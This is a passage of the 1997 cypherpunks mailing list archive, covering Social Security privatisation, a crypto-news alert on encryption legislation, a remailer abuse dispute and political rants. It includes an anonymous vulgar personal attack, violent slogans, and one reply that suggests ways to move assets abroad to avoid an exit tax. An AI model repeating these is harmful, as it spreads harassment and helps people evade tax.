press conference unveiling their socialsecurity.org web site. It lets you
calculate your retirement income and compare how much you'd get from the
Federal government's Social Security "fund" compared with a private system
like a 401(k). 

And it's fun to play with. Let's say I was born in 1970 and make $30,000 a
year (BTW, I wasn't and don't). Assuming I retire at 67 and inflation is 3
percent, Social Security would give me $1,293 a month after I retire. And
that's if you assume Social Security won't go belly-up, a hard position to
maintain since its own trustees say it's underfunded by 25 to 33 percent.

Compare that to a stock fund, which yields so much more: $8,635 a month.

I can't think of a better argument to privatize Social Security and move
to a system like an IRA or 401(k), a solution the Cato folks have
advocated for years.

Before the big government folks out there criticize Cato's calculator for
being biased, let me point out KPMG Peat Marwick did all calculations and
programming.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 31 May 1997 02:38:11 +0800
To: cypherpunks@toad.com
Subject: GAK
Message-ID: <199705301816.LAA23316@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


May Timothy Maypole's forgeries get stuck up his ass so he'll have to shit 
through his filthy mouth for the rest of its miserable life.

                 .::7777::-.
                /:'////' `::>/|/
              .',  ||||   `/( e\  Timothy Maypole
          -==~-'`-Xm````-mr' `-_\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Fri, 30 May 1997 23:51:59 +0800
To: cypherpunks@toad.com
Subject: INFO: Encryption battle heats up in House; experts weigh in (5/30/97)
Message-ID: <199705301534.LAA05257@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


=============================================================================
          ____                  _              _   _
         / ___|_ __ _   _ _ __ | |_ ___       | \ | | _____      _____
        | |   | '__| | | | '_ \| __/ _ \ _____|  \| |/ _ \ \ /\ / / __|
        | |___| |  | |_| | |_) | || (_) |_____| |\  |  __/\ V  V /\__ \
         \____|_|   \__, | .__/ \__\___/      |_| \_|\___| \_/\_/ |___/
                    |___/|_|


             PRO-ENCRYPTION BILL CLEARS SECOND CONGRESSIONAL HURDLE;
                     FACES TOUGHER TEST IN COMING WEEKS.

              CRYPTOGRAPHERS AND COMPUTER SECURITY EXPERTS ASSAIL
                       GOVERNMENT KEY RECOVERY PLANS

     Date: May 29, 1997                            Expires July 1, 1997

         URL:http://www.crypto.com/            crypto-news@panix.com
           Redistribution of crypto-news is allowed in its entirety.

_____________________________________________________________________________
Table of Contents
        Encryption battle heats up in the House
        Experts assail government key recovery plans
        What YOU CAN DO NOW!
        Background
        What's at stake
        How to start or stop receiving crypto-news
        Press contacts

_____________________________________________________________________________
ENCRYPTION BATTLE HEATS UP IN THE HOUSE

On May 14th, the House Judiciary Committee approved a bill designed to
dramatically enhance the ability of Internet users to protect their privacy
and security online.

The bill now moves to the House International Relations Committee, where it
is expected to face tougher opposition from the FBI, NSA, and the Clinton
Administration.  The International Relations Committee is expected to
consider the bill soon.

The Security and Freedom through Encryption Act (SAFE - HR 695) will
prohibit the government from imposing mandatory law enforcement access to
private online communications inside the US, affirm the right of American
Citizens to use whatever from of encryption they choose, and relax current
export restrictions which prevent the development of strong, easy-to-use
encryption technologies.

The Clinton Administration, led by the FBI and the National Security
agency, opposes SAFE and is pushing for a policy of domestic restrictions
on the use of encryption, guaranteed law enforcement access to private
communications via government designed "key-recovery" systems, and
continued reliance on out-dated, cold-war era export controls.

For the first time in history, Congress is close to passing real encryption
policy reform legislation which will protect privacy, promote electronic
commerce, and recognizes the realities of the global Internet.  Pointers
to additional information on the SAFE bill and other efforts to reform
U.S. encryption policy are attached below.

Congress needs to hear from you!  If you value your privacy and care about
the future of the Net, please take a few moments to join the Adopt Your
Legislator campaign.  Instructions are attached below.

________________________________________________________________________________
CRYPTOGRAPHERS AND COMPUTER SECURITY EXPERTS ASSAIL GOV'T. KEY RECOVERY PLANS

On Wednesday May 21, a group of leading cryptographers and computer
scientists released a report which for the first time examines the
risks and implications of government-designed key-recovery systems.

The report cautions that "The deployment of a general key-recovery-based
encryption infrastructure to meet law enforcement's stated requirements
will result in substantial sacrifices in security and cost to the end user.
Building a secure infrastructure of the breathtaking scale and complexity
demanded by these requirements is far beyond the experience and current
competency of the field."

The report substantially changes the terms of the ongoing debate over US
encryption policy.  For more than four years, the Clinton Administration
has pushed for a policy of continued export restrictions on strong
encryption, and the development of global key escrow and key recovery
systems to address the concerns of law enforcement.  The study, the first
comprehensive analysis of the risks of key recovery and key escrow systems,
calls into question the viability of the Administration's approach.

The Report's authors, recognized leaders in the cryptography and computer
science field, include Hal Abelson, Ross Anderson, Steven M. Bellovin, Josh
Benaloh,  Matt Blaze, Whitfield Diffie, John Gilmore, Peter G. Neumann,
Ronald L. Rivest, Jeffery I. Schiller, and Bruce Schneier

The report is be available online at http://www.crypto.com/key_study/

________________________________________________________________________________
WHAT YOU CAN DO NOW

1. Adopt Your Legislator

   Now is the time to increase our ranks and prepare for the fight that lies
   a head of us in Congress.

   Please take a few minutes to learn more about this important
   issue, and join the Adopt Your Legislator Campaign at
   http://www.crypto.com/adopt/

   This will produce a customized page, just for you with your own
   legislator's telephone number and address.

   In addition, you will receive the latest news and information on the
   issue, as well as targeted alerts informing you when your
   Representatives in Congress do something that could help or hinder
   the future of the Internet.

   Best of all, it's free.  Do your part, Work the Network!

   Visit http://www.crypto.com/adopt/ for details.

2. Spread the Word!

   Forward this Alert to your friends. Help educate the public about the
   importance of this issue.

   Please do not forward after July 1, 1997.

_____________________________________________________________________________
BACKGROUND

Complete background information, including:

* A down-to-earth explanation of why this debate is important to Internet users
* Analysis and background on the issue
* Text of the Administration draft legislation
* Text of Congressional proposals to reform US encryption policy
* Audio transcripts and written testimony from recent Congressional Hearings
  on encryption policy reform
* And more!

Are all available at http://www.crypto.com/

________________________________________________________________________
WHAT'S AT STAKE

Encryption technologies are the locks and keys of the Information age
-- enabling individuals and businesses to protect sensitive information
as it is transmitted over the Internet. As more and more individuals
and businesses come online, the need for strong, reliable, easy-to-use
encryption technologies has become a critical issue to the health and
viability of the Net.

Current US encryption policy, which limits the strength of encryption
products US companies can sell abroad, also limits the availability of
strong, easy-to-use encryption technologies in the United States. US
hardware and software manufacturers who wish to sell their products on
the global market must either conform to US encryption export limits or
produce two separate versions of the same product, a costly and
complicated alternative.

The export controls, which the NSA and FBI argue help to keep strong
encryption out of the hands of foreign adversaries, are having the
opposite effect. Strong encryption is available abroad, but because of
the export limits and the confusion created by nearly four years of
debate over US encryption policy, strong, easy-to-use privacy and
security technologies are not widely available off the shelf or "on the
net" here in the US.

A recently discovered flaw in the security of the new digital telephone
network exposed the worst aspects of the Administration's encryption
policy.  Because the designers needed to be able to export their
products, the system's security was "dumbed down".  Researchers subsequently
discovered that it is quite easy to break the security of the system and
intrude on what should be private conversations.

This incident underscores the larger policy problem: US companies are
at a competitive disadvantage in the global marketplace when competing
against companies that do not have such hindrances.  And now, for the first
time in history, the Clinton Administration has DOMESTIC RESTRICTIONS on the
ability of Americans to protect their privacy and security online.

All of us care about our national security, and no one wants to make it
any easier for criminals and terrorists to commit criminal acts. But we
must also recognize encryption technologies can aid law enforcement
and protect national security by limiting the threat of industrial
espionage and foreign spying, promote electronic commerce and protecting
privacy.

What's at stake in this debate is nothing less than the future of
privacy and the fate of the Internet as a secure and trusted medium for
commerce, education, and political discourse.

______________________________________________________________________________ 
HOW TO START OR STOP RECEIVING CRYPTO-NEWS

To subscribe to crypto-news, sign up from our WWW page (http://www.crypto.com)
or send mail to majordomo@panix.com with "subscribe crypto-news" in the body
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_____________________________________________________________________________
PRESS CONTACT INFORMATION

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	Shabbir J. Safdar (VTW) at +1.718.596.2851 or shabbir@vtw.org
	Jonah Seiger (CDT) at +1.202.637.9800 or jseiger@cdt.org

_____________________________________________________________________________
End crypto-news
=============================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Shabbir J. Safdar" <shabbir@vtw.org>
Date: Sat, 31 May 1997 00:03:25 +0800
To: Multiple recipients of list <com-priv@lists.psi.com>
Subject: INFO: Encryption battle heats up in House; experts weigh in (5/30/97)
Message-ID: <199705301533.LAA05167@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text


=============================================================================
          ____                  _              _   _
         / ___|_ __ _   _ _ __ | |_ ___       | \ | | _____      _____
        | |   | '__| | | | '_ \| __/ _ \ _____|  \| |/ _ \ \ /\ / / __|
        | |___| |  | |_| | |_) | || (_) |_____| |\  |  __/\ V  V /\__ \
         \____|_|   \__, | .__/ \__\___/      |_| \_|\___| \_/\_/ |___/
                    |___/|_|


             PRO-ENCRYPTION BILL CLEARS SECOND CONGRESSIONAL HURDLE;
                     FACES TOUGHER TEST IN COMING WEEKS.

              CRYPTOGRAPHERS AND COMPUTER SECURITY EXPERTS ASSAIL
                       GOVERNMENT KEY RECOVERY PLANS

     Date: May 29, 1997                            Expires July 1, 1997

         URL:http://www.crypto.com/            crypto-news@panix.com
           Redistribution of crypto-news is allowed in its entirety.

_____________________________________________________________________________
Table of Contents
        Encryption battle heats up in the House
        Experts assail government key recovery plans
        What YOU CAN DO NOW!
        Background
        What's at stake
        How to start or stop receiving crypto-news
        Press contacts

_____________________________________________________________________________
ENCRYPTION BATTLE HEATS UP IN THE HOUSE

On May 14th, the House Judiciary Committee approved a bill designed to
dramatically enhance the ability of Internet users to protect their privacy
and security online.

The bill now moves to the House International Relations Committee, where it
is expected to face tougher opposition from the FBI, NSA, and the Clinton
Administration.  The International Relations Committee is expected to
consider the bill soon.

The Security and Freedom through Encryption Act (SAFE - HR 695) will
prohibit the government from imposing mandatory law enforcement access to
private online communications inside the US, affirm the right of American
Citizens to use whatever from of encryption they choose, and relax current
export restrictions which prevent the development of strong, easy-to-use
encryption technologies.

The Clinton Administration, led by the FBI and the National Security
agency, opposes SAFE and is pushing for a policy of domestic restrictions
on the use of encryption, guaranteed law enforcement access to private
communications via government designed "key-recovery" systems, and
continued reliance on out-dated, cold-war era export controls.

For the first time in history, Congress is close to passing real encryption
policy reform legislation which will protect privacy, promote electronic
commerce, and recognizes the realities of the global Internet.  Pointers
to additional information on the SAFE bill and other efforts to reform
U.S. encryption policy are attached below.

Congress needs to hear from you!  If you value your privacy and care about
the future of the Net, please take a few moments to join the Adopt Your
Legislator campaign.  Instructions are attached below.

________________________________________________________________________________
CRYPTOGRAPHERS AND COMPUTER SECURITY EXPERTS ASSAIL GOV'T. KEY RECOVERY PLANS

On Wednesday May 21, a group of leading cryptographers and computer
scientists released a report which for the first time examines the
risks and implications of government-designed key-recovery systems.

The report cautions that "The deployment of a general key-recovery-based
encryption infrastructure to meet law enforcement's stated requirements
will result in substantial sacrifices in security and cost to the end user.
Building a secure infrastructure of the breathtaking scale and complexity
demanded by these requirements is far beyond the experience and current
competency of the field."

The report substantially changes the terms of the ongoing debate over US
encryption policy.  For more than four years, the Clinton Administration
has pushed for a policy of continued export restrictions on strong
encryption, and the development of global key escrow and key recovery
systems to address the concerns of law enforcement.  The study, the first
comprehensive analysis of the risks of key recovery and key escrow systems,
calls into question the viability of the Administration's approach.

The Report's authors, recognized leaders in the cryptography and computer
science field, include Hal Abelson, Ross Anderson, Steven M. Bellovin, Josh
Benaloh,  Matt Blaze, Whitfield Diffie, John Gilmore, Peter G. Neumann,
Ronald L. Rivest, Jeffery I. Schiller, and Bruce Schneier

The report is be available online at http://www.crypto.com/key_study/

________________________________________________________________________________
WHAT YOU CAN DO NOW

1. Adopt Your Legislator

   Now is the time to increase our ranks and prepare for the fight that lies
   a head of us in Congress.

   Please take a few minutes to learn more about this important
   issue, and join the Adopt Your Legislator Campaign at
   http://www.crypto.com/adopt/

   This will produce a customized page, just for you with your own
   legislator's telephone number and address.

   In addition, you will receive the latest news and information on the
   issue, as well as targeted alerts informing you when your
   Representatives in Congress do something that could help or hinder
   the future of the Internet.

   Best of all, it's free.  Do your part, Work the Network!

   Visit http://www.crypto.com/adopt/ for details.

2. Spread the Word!

   Forward this Alert to your friends. Help educate the public about the
   importance of this issue.

   Please do not forward after July 1, 1997.

_____________________________________________________________________________
BACKGROUND

Complete background information, including:

* A down-to-earth explanation of why this debate is important to Internet users
* Analysis and background on the issue
* Text of the Administration draft legislation
* Text of Congressional proposals to reform US encryption policy
* Audio transcripts and written testimony from recent Congressional Hearings
  on encryption policy reform
* And more!

Are all available at http://www.crypto.com/

________________________________________________________________________
WHAT'S AT STAKE

Encryption technologies are the locks and keys of the Information age
-- enabling individuals and businesses to protect sensitive information
as it is transmitted over the Internet. As more and more individuals
and businesses come online, the need for strong, reliable, easy-to-use
encryption technologies has become a critical issue to the health and
viability of the Net.

Current US encryption policy, which limits the strength of encryption
products US companies can sell abroad, also limits the availability of
strong, easy-to-use encryption technologies in the United States. US
hardware and software manufacturers who wish to sell their products on
the global market must either conform to US encryption export limits or
produce two separate versions of the same product, a costly and
complicated alternative.

The export controls, which the NSA and FBI argue help to keep strong
encryption out of the hands of foreign adversaries, are having the
opposite effect. Strong encryption is available abroad, but because of
the export limits and the confusion created by nearly four years of
debate over US encryption policy, strong, easy-to-use privacy and
security technologies are not widely available off the shelf or "on the
net" here in the US.

A recently discovered flaw in the security of the new digital telephone
network exposed the worst aspects of the Administration's encryption
policy.  Because the designers needed to be able to export their
products, the system's security was "dumbed down".  Researchers subsequently
discovered that it is quite easy to break the security of the system and
intrude on what should be private conversations.

This incident underscores the larger policy problem: US companies are
at a competitive disadvantage in the global marketplace when competing
against companies that do not have such hindrances.  And now, for the first
time in history, the Clinton Administration has DOMESTIC RESTRICTIONS on the
ability of Americans to protect their privacy and security online.

All of us care about our national security, and no one wants to make it
any easier for criminals and terrorists to commit criminal acts. But we
must also recognize encryption technologies can aid law enforcement
and protect national security by limiting the threat of industrial
espionage and foreign spying, promote electronic commerce and protecting
privacy.

What's at stake in this debate is nothing less than the future of
privacy and the fate of the Internet as a secure and trusted medium for
commerce, education, and political discourse.

______________________________________________________________________________ 
HOW TO START OR STOP RECEIVING CRYPTO-NEWS

To subscribe to crypto-news, sign up from our WWW page (http://www.crypto.com)
or send mail to majordomo@panix.com with "subscribe crypto-news" in the body
of the message.  To unsubscribe, send a letter to majordomo@panix.com with
"unsubscribe crypto-news" in the body.

Requests to unsubscribe that are sent to shabbir@vtw.org will be ignored.

_____________________________________________________________________________
PRESS CONTACT INFORMATION

Press inquiries on Crypto-News should be directed to
	Shabbir J. Safdar (VTW) at +1.718.596.2851 or shabbir@vtw.org
	Jonah Seiger (CDT) at +1.202.637.9800 or jseiger@cdt.org

_____________________________________________________________________________
End crypto-news
=============================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sat, 31 May 1997 01:18:43 +0800
To: TruthMonger.tm@dev.null
Subject: Re: There's something wrong when I'm a felon under an increasing number of
In-Reply-To: <199705291623.KAA00762@wombat.sk.sympatico.ca>
Message-ID: <Pine.BSF.3.91.970530114520.14485D-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain


> 
>   A major nail in the coffin of Justice for any accused in the U.S.
> 
> was when the justice system promoted the concept of guilt by virtue
> 
> of "circumstantial" evidence to the point where people can now be
> 
> convicted as a result of speculation rather than evidence. Prosecutors
> 
> now seem to need only to convince the sheeple that it was "possible"
> 
> for the defendant to have commited the crime and that circumstantial
> 
> evidence points *only* to the accused.
> 

Yeah, right. Must be how O.J. got convicted in criminal court. Ooops - 
just remembered that he walked. Maybe Bell can beat the wrap with a good 
stiff-arm and a few Hertz commercials ...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 31 May 1997 03:03:56 +0800
To: cypherpunks@algebra.com
Subject: Re: How much you lose under Social Security -- socialsecurity.org
In-Reply-To: <Pine.GSO.3.95.970530110010.8489F-100000@well.com>
Message-ID: <v03102801afb4ccdecef3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 11:00 AM -0700 5/30/97, Declan McCullagh wrote:

>And it's fun to play with. Let's say I was born in 1970 and make $30,000 a
>year (BTW, I wasn't and don't). Assuming I retire at 67 and inflation is 3
>percent, Social Security would give me $1,293 a month after I retire. And
>that's if you assume Social Security won't go belly-up, a hard position to
>maintain since its own trustees say it's underfunded by 25 to 33 percent.

I paid into the SS fund from 1969 to 1986. And yet I knew from around 1975
or so that it was a Ponzi scheme, with current intake being used to pay
ouflow and with no "trust fund."

(The so-called "trust fund" is actually just a bunch of IOUs placed there
by the government...the inflow is sent back out to welfare mothers,
chiselers, and corporate welfare cases, and an IOU is placed back in the
jar. This is *NOT* calculated into the $5.3 trillion national debt. That
$5.3 trillion debt amounts to $53,000 owed on average by each of the 100
million or so taxpayers (the other 150 million being children, spouses,
nonfilers, welfare recipients, spouses, etc.). Most of these 100 million do
not have $53,000 in any form of assets, of course.)

>Compare that to a stock fund, which yields so much more: $8,635 a month.

I expect to receive essentially nothing from the SS fund when I become
eligible in 22 or more years (they are pushing out the eligibility age...it
may be 75 by the time I "retire").

I won't try to dig up numbers right now, but the combination of the
national debt, the unfunded liabilities (things the Feds have said they'll
pay for but don't have the money in an account for), the SS crisis, the
Medicare crisis, and the changing demographics (hint: the baby boomers
retire in absolutely massive numbers beginning about 15-20 years from
now)...well, the numbers don't look good. I've heard estimates that the tax
rate on those still working in 2020 may have to be 80%. That won't fly. So
some things are going to break, and break very badly.

And the Congressvermin are still attempting to impose an "exit tax" on
accumulated assets, so that if I tried to move my assets (remember, assets
= property = purchased things, not at all the same thing as "income") to
some other country.

(There are those I mention this to who don't seem to understand the point,
and who mutter about tax evasion. Well, the purpose of moving assets may
indeed be avoid confiscatory taxes. But the fact is that it says one's
property (jewels, furniture, stocks, etc.) are not one's own to move around
as one sees fit, to take with one to a foreign residence. This would make
the U.S. like the Soviet Union in this regard.)

As we all know, the SS system is just a gigantic Ponzi scheme. Like
gambling, the government runs operations it imprisons others for running.

I'm not even sure that 60 megatons of disinfectant would handle the cancer
that is Washington.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 31 May 1997 01:26:08 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Clinton on privacy and the Internet
In-Reply-To: <Pine.GSO.3.95.970530083755.22213G-100000@well.com>
Message-ID: <199705301701.MAA05385@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.95.970530083755.22213G-100000@well.com>, on 05/30/97 
   at 08:38 AM, Declan McCullagh <declan@well.com> said:

>   As the Internet reaches to touch every business and every
> household and we face the frightening prospect that private
> information -- even medical records -- could be made instantly
> available to the world, we must develop new protections for
> privacy in the face of new technological reality.

More government regulations & intrusions. And ofcource no protection from
the Government which is the real threat.

>  (Applause.) <==Sheeple
   ^^^^^^^^^^^ 
- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------
 
Tag-O-Matic: See the Future; See OS/2.  Be the Future; Run OS/2.

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Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM48I7I9Co1n+aLhhAQGlMgP/R+S3pp6s76++HGLEyK9e79GDdI4AkqgI
EUuOlg0rBOTSv6uxGbcTwsGdSnXPe1U1u7msHUIVAdeoZdoXsp1IaLzbYSsiv1kt
Ek4HdM7ArPzZ3aiVoXmCtJUXpOD7heMFS0yKHgFgWhMwpIM4SJzLuh/EUldGdVmV
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=Fi7q
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 31 May 1997 03:35:51 +0800
To: cypherpunks@toad.com
Subject: There's something wrong...
Message-ID: <199705301914.MAA26873@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Friday, May 30, 1997 - 21:07:32 MET

>   A major nail in the coffin of Justice for any accused in the U.S.
> 
> was when the justice system promoted the concept of guilt by virtue
> 
> of "circumstantial" evidence to the point where people can now be
> 
> convicted as a result of speculation rather than evidence. Prosecutors
> 
> now seem to need only to convince the sheeple that it was "possible"
> 
> for the defendant to have commited the crime and that circumstantial
> 
> evidence points *only* to the accused.

Actually we are well passed that point. Jim Bell's arrest and pending 
prosecution amounts to thought crime. Its not "possible they commited 
a crime" now its possible that they "may" commit a crime.

 At Waco, dozens of innocents were killed, burned alive on national 
television in their home and church from an unwarranted, excessive 
use of force in order to serve a search warrant on David Koresh for 
what they "may" have been doing.  No one was under indictment, under 
arrest or accused of an actual crime, yet through media manipulation 
that branded koresh and his followers Kooks, the nation watched 
another act of Statist-TV-Terrorism. The message through the 
medium this time?,   "We don't need no stinking charges."

Mandatory sentencing (a legislative and executive end run that usurps 
judiaciary power by eliminating judicial discretion)

 Terroristic Speech (a euphemism for 'thought 
crime' in many cases) are two examples of end runs around citizens 
contitutionaly protected rights that are being used daily to commit 
violent attacks on individual citizens civil rights.



        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Burchell <jeff@fat.doobie.com>
Date: Sat, 31 May 1997 03:58:28 +0800
To: Paul Pomes <ppomes@Qualcomm.com>
Subject: Re: Continuing spam from vulis
In-Reply-To: <10948.865019869@zelkova.qualcomm.com>
Message-ID: <Pine.LNX.3.96.970530123734.9455K-100000@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 30 May 1997, Paul Pomes wrote:

> The wider circulation is due to the complete lack of response from
> remailer-admin@cajones.com.

Be careful when you say "Complete lack of response".  You've got no idea
what I did and didn't do once I got your message.

I have previously talked with the operator of the cypherpunks list (this
was about 2 months ago when someone else was abusing the remailer to post
trash to that list). At that time, I offered the standard good will
gesture that remailer operators can offer: "Would you like me to block the
list, so this remailer won't send anything to it".  Because of the nature
of anonymous remailers, this is about the extent of the action that I can
take. 

To this, I recieved a very firm "no!" (cypherpunks is of course a list
where people do have good reasons to use remailers).  Because of that, I
_WON'T_ block cypherpunks, until I am instructed to by May, Gilmore,
Hughes, et.al. Period.  This holds true for all mailing lists. I need to
have authorization from the list maintainer to block the list.  

I have added your address to my block list, this remailer won't send
anything directly to you in the future.  If you don't want to read
anything from this mailer that comes across lists, then you should either
manually delete anonymous messages before reading them (the headers and
return address make it obvious when a message has come through a
remailer), or turn on some client-side mail filters.  Your own company
makes a product with adaquate functionality to do this. 

-Jeff
Operator... Huge.cajones.com

P.S.  Besides... aren't ad hominum attacks on Tim May a Cypherpunks
      tradition?

P.P.S.  Isn't there a non-flames moderated cypherpunks?  Perhaps you
        want to be on that list instead of the free-for-all.

-----------------------------------------------------------------------------
"When they came for the 2nd Amendment, I said nothing, for I owned no gun
 Then the sixth was next to go, and I remained silent, as I was not on trial
 They took away the fourth, and I said nothing, as I had nothing to hide
 And then they came for the First,  and I could say nothing." 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 31 May 1997 04:59:04 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: How much you lose under Social Security -- socialsecurity.org
In-Reply-To: <v03102801afb4ccdecef3@[207.167.93.63]>
Message-ID: <v03102801afb4e9c7401c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:55 PM -0700 5/30/97, Ray Arachelian wrote:
>On Fri, 30 May 1997, Tim May wrote:
>
>> And the Congressvermin are still attempting to impose an "exit tax" on
>> accumulated assets, so that if I tried to move my assets (remember, assets
>> = property = purchased things, not at all the same thing as "income") to
>> some other country.
>
>This is really a double tax since if you own assets, you've already paid
>taxes on those said assets in the form of income tax.  If it's an
>inheritance, that too was taxed, so what the fuck?  What's the
>justification behind this other than exit rape?

The exit tax would of course only be applied to the _gain_ in the value of
an asset. As such, it is not double taxation (modulo the inflation issue).,

If I bought 1000 shares in a stock at $20 and it was still at $20, no exit
tax would be owed. If it had gone up to $30, a 28% tax (as proposed) would
be levied on the $10,000 putative gain.

This would apply even if the stock had not been sold, which is what the
issue really is about. (Imagine having to pay a 28% tax on any putative
gain in the value of personal possessions like old records or jewelry moved
overseas.)

And of course I don't imagine they'll issue _refunds_ for losses! ("Hi, I'm
moving to Paris. I'm taking some stocks with me, most of them dogs. Please
write out a check for $37,863.91 to cover 28% of the loss.")

The issue of course is that the proposed exit tax tries to recapture taxes
on income *not yet realized*.

>I suppose one way is to take loads of trips and loads of AmEx traveler's
>checks, then gamble on things with 50% chance of winning, take the
>winnings and dump'em in accounts outside.  Repeat until nothing's left,
>then exit with very little.

There are of course many such tricks. Many don't even muling your own cash
across borders. (And the Empire strikes back by calling many of these
things "structuring," for which the laws are very confusing and are so
designed to terrorize citizen-units into not trying them.)

>> As we all know, the SS system is just a gigantic Ponzi scheme. Like
>> gambling, the government runs operations it imprisons others for running.
>
>So let's sue the system.  Might fail, but maybe we can get it the fuck out
>of our income taxes.  One less tax to bother with.  Since it no longer


Let us know  how it turns out.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 31 May 1997 05:07:27 +0800
To: Jeff Burchell <cypherpunks@toad.com
Subject: Re: Continuing spam from vulis
In-Reply-To: <10948.865019869@zelkova.qualcomm.com>
Message-ID: <v03102802afb4ec9eeaff@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



(I've removed 9 of the addresses from this response.)

At 12:42 PM -0700 5/30/97, Jeff Burchell wrote:

>I have previously talked with the operator of the cypherpunks list (this
>was about 2 months ago when someone else was abusing the remailer to post

And just who is "the operator of the cypherpunks list"? If this was about 2
months ago, it would've been well after the Cypherdiaspora, so there would
be even less of a concept of the "operator" than there was before. And why
would he or she or they have anything to say about blocking remailers?

>trash to that list). At that time, I offered the standard good will
>gesture that remailer operators can offer: "Would you like me to block the
>list, so this remailer won't send anything to it".  Because of the nature
>of anonymous remailers, this is about the extent of the action that I can
>take.
>
>To this, I recieved a very firm "no!" (cypherpunks is of course a list
>where people do have good reasons to use remailers).  Because of that, I
>_WON'T_ block cypherpunks, until I am instructed to by May, Gilmore,
>Hughes, et.al. Period.  This holds true for all mailing lists. I need to
>have authorization from the list maintainer to block the list.

Neither May nor Gilmore nor Hughes have any say over blocking remailers,
blocking use of remailers, etc.

>-Jeff
>Operator... Huge.cajones.com
>
>P.S.  Besides... aren't ad hominum attacks on Tim May a Cypherpunks
>      tradition?

I mean no disrespect to Jeff, but even getting involved in the slightest
way in debates about remailer traffic and what should/should not be blocked
is what can only be called a "conceptual error."

Ideal mixes, which today's remailers are of course only an approximation
of, do not pass and reject messages based on content, or even on sources
and destinations. The ideal mix is a soulless black box executing certain
protocols.

(Practicality may dictate that a remailer place certain minimal, and
hopefully publicized, constraints on the process, e.g., no sending to
whitehouse.gov, no sending to hundreds of addresses, whatever.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 31 May 1997 01:29:53 +0800
To: cypherpunks@algebra.com
Subject: Forward: Tim McVeigh trial info from RISKS DIGEST 19.19 (fwd)
Message-ID: <Pine.LNX.3.91.970530141650.807B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




The following may be of interest to those following the Tim McVeigh OKC 
trial, it relates to technical flaws in the evidence relating to the 
telephone debit card McVeigh allegedly used.
	
        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

------------------------------

Date: Wed, 28 May 1997 11:47:43 -0700 (PDT)
From: hbaker@netcom.com (Henry G. Baker)
Subject: Oklahoma bombing trial transcripts

RISKS readers may find the following transcript from the OK bombing trial
to be particularly interesting:
  http://www.cnn.com/US/9703/okc.trial/transcripts/may/050697.eve.txt
(Note CNN's Y2K problem, but that's for another time!)

This transcript was brought to the attention of another usenet group due to
its details of how the debit-card business works.

The bulk of this transcript deals with the testimony of a Mr. John Kane, an
